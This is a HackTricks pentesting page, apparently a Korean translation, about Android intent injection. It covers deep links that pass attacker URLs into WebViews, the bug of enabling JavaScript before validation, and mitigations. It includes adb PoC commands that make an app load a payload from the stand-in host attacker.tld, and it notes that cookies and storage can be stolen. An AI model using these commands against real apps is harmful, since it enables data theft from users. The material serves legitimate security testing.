Intent Injection
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Intent injection은 공격자가 제어하는 Intents 또는 나중에 Intents로 변환되는 데이터를 수용하는 구성 요소를 악용합니다. Android 앱 펜테스트 중 매우 일반적인 두 가지 패턴은 다음과 같습니다:
- 특수 제작된 extras를 내보낸 Activities/Services/BroadcastReceivers에 전달하여 나중에 특권이 있는 비내보낸 구성 요소로 전달합니다.
- 공격자가 제어하는 URL을 내부 WebViews 또는 기타 민감한 싱크로 전달하는 내보낸 VIEW/BROWSABLE 딥 링크를 트리거합니다.
Deep links → WebView sink (URL parameter injection)
앱이 다음과 같은 사용자 정의 스킴 딥 링크를 노출하는 경우:
myscheme://com.example.app/web?url=<attacker_url>
수신하는 Activity가 url
쿼리 매개변수를 WebView로 전달하면, 앱이 자신의 WebView 컨텍스트에서 임의의 원격 콘텐츠를 렌더링하도록 강제할 수 있습니다.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS는 앱의 WebView 프로필 내에서 실행됩니다.
- JavaScript가 활성화된 경우(기본값 또는 잘못된 순서의 검사로 인해), 노출된
@JavascriptInterface
객체를 열거/사용하고, WebView 쿠키/로컬 스토리지를 훔치고, 피벗할 수 있습니다.
See also:
JavaScript를 활성화하는 체크 순서 버그
반복적으로 발생하는 버그는 최종 URL 허용 목록/검증이 완료되기 전에 JavaScript(또는 기타 허용된 WebView 설정)를 활성화하는 것입니다. 초기 헬퍼가 당신의 딥 링크를 수용하고 WebView가 먼저 구성되면, 최종 로드는 나중의 체크가 결함이 있거나 너무 늦더라도 이미 JavaScript가 활성화된 상태에서 발생합니다.
디컴파일된 코드에서 찾아야 할 사항:
- URL을 다르게 파싱/분할/재구성하는 여러 헬퍼(일관되지 않은 정규화).
- 마지막 호스트/경로 허용 목록 체크 전에
getSettings().setJavaScriptEnabled(true)
호출. - 다음과 같은 파이프라인: 파싱 → 부분 검증 → WebView 구성 → 최종 검증 → loadUrl.
Mitigations
- 한 번 정규화하고 엄격하게 검증; 실패 시 닫기.
- 모든 체크가 통과한 후 신뢰할 수 있는 콘텐츠를 로드하기 직전에만 JavaScript를 활성화합니다.
- 신뢰할 수 없는 출처에 브리지를 노출하지 마십시오.
기타 고전적인 Intent 주입 원시
- 공격자가 제공한
Intent
추가 정보를 사용하여 startActivity/sendBroadcast를 실행하고, 이후 다시 파싱(Intent.parseUri(...)
)하여 실행합니다. - 권한 체크 없이 Intents를 비공식적인 민감한 구성 요소로 전달하는 내보내기된 프록시 구성 요소.
References
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.